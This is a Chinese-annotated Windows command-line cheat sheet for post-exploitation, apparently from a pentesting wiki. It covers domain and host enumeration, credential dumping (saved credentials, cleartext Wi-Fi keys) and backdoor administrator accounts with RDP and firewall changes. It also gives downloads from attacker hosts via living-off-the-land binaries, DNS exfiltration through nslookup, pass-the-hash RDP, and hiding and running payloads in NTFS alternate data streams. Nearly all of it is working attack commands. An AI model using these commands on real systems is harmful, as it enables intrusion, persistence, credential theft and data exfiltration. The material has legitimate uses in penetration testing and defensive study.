wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #获取架构
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #仅获取这些信息
wmic computersystem LIST full #获取电脑信息
wmic qfe get Caption,Description,HotFixID,InstalledOn #补丁程序
wmic qfe list brief #更新
hostname
DRIVERQUERY #第三方易受攻击驱动?
set #列出所有环境变量
需要强调的一些环境变量:
COMPUTERNAME: 计算机名称
TEMP/TMP: 临时文件夹
USERNAME: 用户名
HOMEPATH/USERPROFILE: 主目录
windir: C:\Windows
OS:Windos OS
LOGONSERVER: 域控制器名称
USERDNSDOMAIN: 与DNS一起使用的域名
USERDOMAIN: 域名的名称
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DC的DNS请求
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
dir C:\$Recycle.Bin /s /b
schtasks /query /fo LIST /v #计划任务的冗余
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #进程列表
tasklist /SVC #将进程链接到已启动的服务
net start #Windows服务启动
wmic service list brief #列出服务
sc query #服务清单
dir /a "C:\Program Files" #已安装的软件
dir /a "C:\Program Files (x86)" #已安装的软件
reg query HKEY_LOCAL_MACHINE\SOFTWARE #已安装的软件
# 常见AD信息
echo %USERDOMAIN% #获取域名
echo %USERDNSDOMAIN% #获取域名
echo %logonserver% #获取域控制器的名称
set logonserver #获取域控制器的名称
set log #获取域控制器的名称
gpresult /V # 应用当前策略
wmic ntdomain list /format:list #显示有关域和域控制器的信息
# 用户
dsquery user #获取所有用户
net user /domain #列出域的所有用户
net user <ACCOUNT_NAME> /domain #获取关于该用户的信息
net accounts /domain #密码和锁定策略
wmic useraccount list /format:list #显示所有已登录设备的本地帐户和域帐户的信息
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #获取所有用户
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # 获取1个用户的信息
wmic sysaccount list /format:list # 转储关于被用作服务帐户的任何系统帐户的信息。
# 组信息
net group /domain #域组列表
net localgroup administrators /domain #列出属于域内管理员组的用户(这里包括组“domain Admins”)
net group "Domain Admins" /domain #列出具有域管理权限的用户
net group "domain computers" /domain #连接到域的pc列表
net group "Domain Controllers" /domain #列出域控制器的PC帐号
wmic group list /format:list # 所有本地组的信息
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #获取所有分组
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #组的成员
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #组的成员
# 计算机
dsquery computer #得到所有的电脑
net view /domain #域的pc的Lis
nltest /dclist:<DOMAIN> #列出域控制器
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #所有的电脑
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #所有的电脑
# 信任关系
nltest /domain_trust #信任关系的映射
# 获取OU内的所有对象
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
#使用另一个凭据进行安全查询
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321
#自己
whoami /all #所有关于我的信息,看看启用的令牌
whoami /priv #只显示特权
# 本地用户
net users #所有用户
dir /b /ad "C:\Users"
net user %username% #用户(我)的信息
net accounts #有关密码要求的信息
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #创建用户
# 其他用户查找
qwinsta #还有人登录吗?
#启动新的cmd.exe和新的信用(模拟在网络中)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#作为管理员使用sysinternals中的logonsessions检查当前登录会话
logonsessions.exe
logonsessions64.exe
#本地
net localgroup #所有可用的组
net localgroup Administrators #组的信息(管理员)
net localgroup administrators [username] /add #添加用户到管理员
#域
net group /domain #域组信息
net group /domain <domain_group_name> #属于组的用户
qwinsta
klist sessions
net accounts
cmdkey /list #列出证书
vaultcmd /listcreds:"Windows Credentials" /all #查看Windows凭据管理器
rundll32 keymgr.dll, KRShowKeyMgr #你需要才能图形访问
# 添加域用户并将其放入域管理员组中
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN
# 添加本地用户并将其设置为本地管理员组
net user username password /ADD
net localgroup Administrators username /ADD
# 添加用户到目标的组
net localgroup "Remote Desktop Users" UserLoginName /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add
ipconfig /all #显示本机TCP/IP配置的详细信息
route print #查看路由表命令
arp -a #显示查看高速缓存中的所有项目
netstat -ano #打开的端口信息
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"
netsh firewall show state # 防火墙信息,开放端口
netsh advfirewall firewall show rule name=all
netsh firewall show config # 显示防火墙配置
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off #关闭
NetSh Advfirewall set allprofiles state on #打开
netsh firewall set opmode disable #关闭
#如何打开端口
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"
#启用远程桌面
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #我发现这一行不需要
::sc config TermService start= auto #我发现这一行不需要
::net start Termservice #我发现这一行不需要
#使用wmic开启远程桌面
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##或
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"
#启用远程协助:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable
#Ninja组合(新管理员用户,RDP + rassist +防火墙允许)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable
::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49
net view #获得计算机的列表
net view /all /domain [domainname] #域上的共享
net view \\computer /ALL #列出计算机的共享
net use x: \\computer\share #在本地装载共享
net share #查看当前共享
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #获取明文密码
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
ipconfig /all
arp -A
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Desktopimgdownldr.exe
set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr
Diantz.exe
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab
Esentutl.exe
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o
Expand.exe
expand \\webdav\folder\file.bat c:\ADS\file.bat
Extrac32.exe
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
Findstr.exe
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe > c:\ADS\file.exe
Ftp.exe
cmd.exe /c "@echo open attacker.com 21>ftp.txt&@echo USER attacker>>ftp.txt&@echo PASS PaSsWoRd>>ftp.txt&@echo binary>>ftp.txt&@echo GET /payload.exe>>ftp.txt&@echo quit>>ftp.txt&@ftp -s:ftp.txt -v"
GfxDownloadWrapper.exe
C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Hh.exe
HH.exe http://some.url/script.ps1
Ieexec.exe
ieexec.exe http://x.x.x.x:8080/bypass.exe
Makecab.exe
makecab \\webdavserver\webdav\file.exe C:\Folder\file.cab
MpCmdRun.exe
MpCmdRun.exe -DownloadFile -url <URL> -path <path> //Windows Defender executable
Replace.exe
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Excel.exe
Excel.exe http://192.168.1.10/TeamsAddinLoader.dll
Powerpnt.exe
Powerpnt.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Squirrel.exe
squirrel.exe --download [url to package]
Update.exe
Update.exe --download [url to package]
Winword.exe
winword.exe "http://192.168.1.10/TeamsAddinLoader.dll"
Wsl.exe
wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'
cd #列出当前目录
cd C:\path\to\dir #改变目录
dir #列出当前目录内容
dir /a:h C:\path\to\dir #列出隐藏文件
dir /s /b #没有垃圾的递归列表
time #获取当前时间
date #获取当前日期
shutdown /r /t 0 #重启
type <file> #从第一个字节开始正向打印文件内容
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #使用保存的凭据
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #设置隐藏
attrib -h file #退出隐藏
#对你拥有的文件给予完全的控制权
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #删除权限
#递归复制到smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#Exe2bat转换bat文件中的exe文件
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# 从代码中获取错误消息
net helpmsg 32 #32是这种情况下的代码
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
生成混淆的CMD命令行
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
您可以在[http://+:80/Temporary_listen_Addresses/]上侦听,而无需管理员身份。
netsh http show urlacl
Attacker (Kali) 必须使用以下两个选项之一:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
对于/f标记_**\technique:这允许我们执行命令,获取每行的前X个单词,并通过DNS将其发送到服务器
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
您还可以重定向输出,然后读取输出。
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Taken from https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
##Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\cabtest.txt:autoruns.cab
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
esentutl.exe /y C:\ADS\autoruns.exe /d c:\ADS\file.txt:autoruns.exe /o
powershell -command " & {(Get-Content C:\ADS\file.exe -Raw | Set-Content C:\ADS\file.txt -Stream file.exe)}"
curl file://c:/temp/autoruns.exe --output c:\temp\textfile1.txt:auto.exe
cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://evilsite.com/RegSvr32.sct ^scrobj.dll > fakefile.doc:reg32.bat
set-content - path {path to the file} - stream {name of the stream}
## Discover ADS contecnt
dir /R
streams.exe <c:\path\to\file> #Binary from sysinternals#
Get-Item -Path .\fie.txt -Stream *
gci -recurse | % { gi $_.FullName -stream * } | where stream -ne ':$Data'
##Extract content from ADS###
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
esentutl.exe /Y C:\temp\file.txt:test.exe /d c:\temp\evil.exe /o
more < c:\ads\file.txt:test.exe
##Executing the ADS content###
* WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
* Rundll32
rundll32 "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:ADSDLL.dll",DllMain
rundll32.exe advpack.dll,RegisterOCX not_a_dll.txt:test.dll
rundll32.exe ieadvpack.dll,RegisterOCX not_a_dll.txt:test.dll
* Cscript
cscript "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Script.vbs"
* Wscript
wscript c:\ads\file.txt:script.vbs
echo GetObject("script:https://raw.githubusercontent.com/sailay1996/misc-bin/master/calc.js") > %temp%\test.txt:hi.js && wscript.exe %temp%\test.txt:hi.js
* Forfiles
forfiles /p c:\windows\system32 /m notepad.exe /c "c:\temp\shellloader.dll:bginfo.exe"
* Mavinject.exe
c:\windows\SysWOW64\notepad.exe
tasklist | findstr notepad
notepad.exe 4172 31C5CE94259D4006 2 18,476 K
type c:\temp\AtomicTest.dll > "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
c:\windows\WinSxS\wow64_microsoft-windows-appmanagement-appvwow_31bf3856ad364e35_10.0.16299.15_none_e07aa28c97ebfa48\mavinject.exe 4172 /INJECTRUNNING "c:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:Atomic.dll"
* MSHTA
mshta "C:\Program Files (x86)\TeamViewer\TeamViewer13_Logfile.log:helloworld.hta"
(Does not work on Windows 10 1903 and newer)
* Control.exe
control.exe c:\windows\tasks\zzz:notepad_reflective_x64.dll
https://twitter.com/bohops/status/954466315913310209
* Create service and run
sc create evilservice binPath= "\"c:\ADS\file.txt:cmd.exe\" /c echo works > \"c:\ADS\works.txt\"" DisplayName= "evilservice" start= auto
sc start evilservice
https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
* Powershell.exe
powershell -ep bypass - < c:\temp:ttt
* Powershell.exe
powershell -command " & {(Get-Content C:\ADS\1.txt -Stream file.exe -Raw | Set-Content c:\ADS\file.exe) | start-process c:\ADS\file.exe}"
* Powershell.exe
Invoke-CimMethod -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = C:\ads\folder:file.exe}
* Regedit.exe
regedit c:\ads\file.txt:regfile.reg
* Bitsadmin.exe
bitsadmin /create myfile
bitsadmin /addfile myfile c:\windows\system32\notepad.exe c:\data\playfolder\notepad.exe
bitsadmin /SetNotifyCmdLine myfile c:\ADS\1.txt:cmd.exe NULL
bitsadmin /RESUME myfile
* AppVLP.exe
AppVLP.exe c:\windows\tracing\test.txt:ha.exe
* Cmd.exe
cmd.exe - < fakefile.doc:reg32.bat
https://twitter.com/yeyint_mth/status/1143824979139579904
* Ftp.exe
ftp -s:fakefile.txt:aaaa.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* ieframe.dll , shdocvw.dll (ads)
echo [internetshortcut] > fake.txt:test.txt && echo url=C:\windows\system32\calc.exe >> fake.txt:test.txt rundll32.exe ieframe.dll,OpenURL C:\temp\ads\fake.txt:test.txt
rundll32.exe shdocvw.dll,OpenURL C:\temp\ads\fake.txt:test.txt
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* bash.exe
echo calc > fakefile.txt:payload.sh && bash < fakefile.txt:payload.sh
bash.exe -c $(fakefile.txt:payload.sh)
https://github.com/sailay1996/misc-bin/blob/master/ads.md
* Regsvr32
type c:\Windows\System32\scrobj.dll > Textfile.txt:LoveADS
regsvr32 /s /u /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Textfile.txt:LoveADS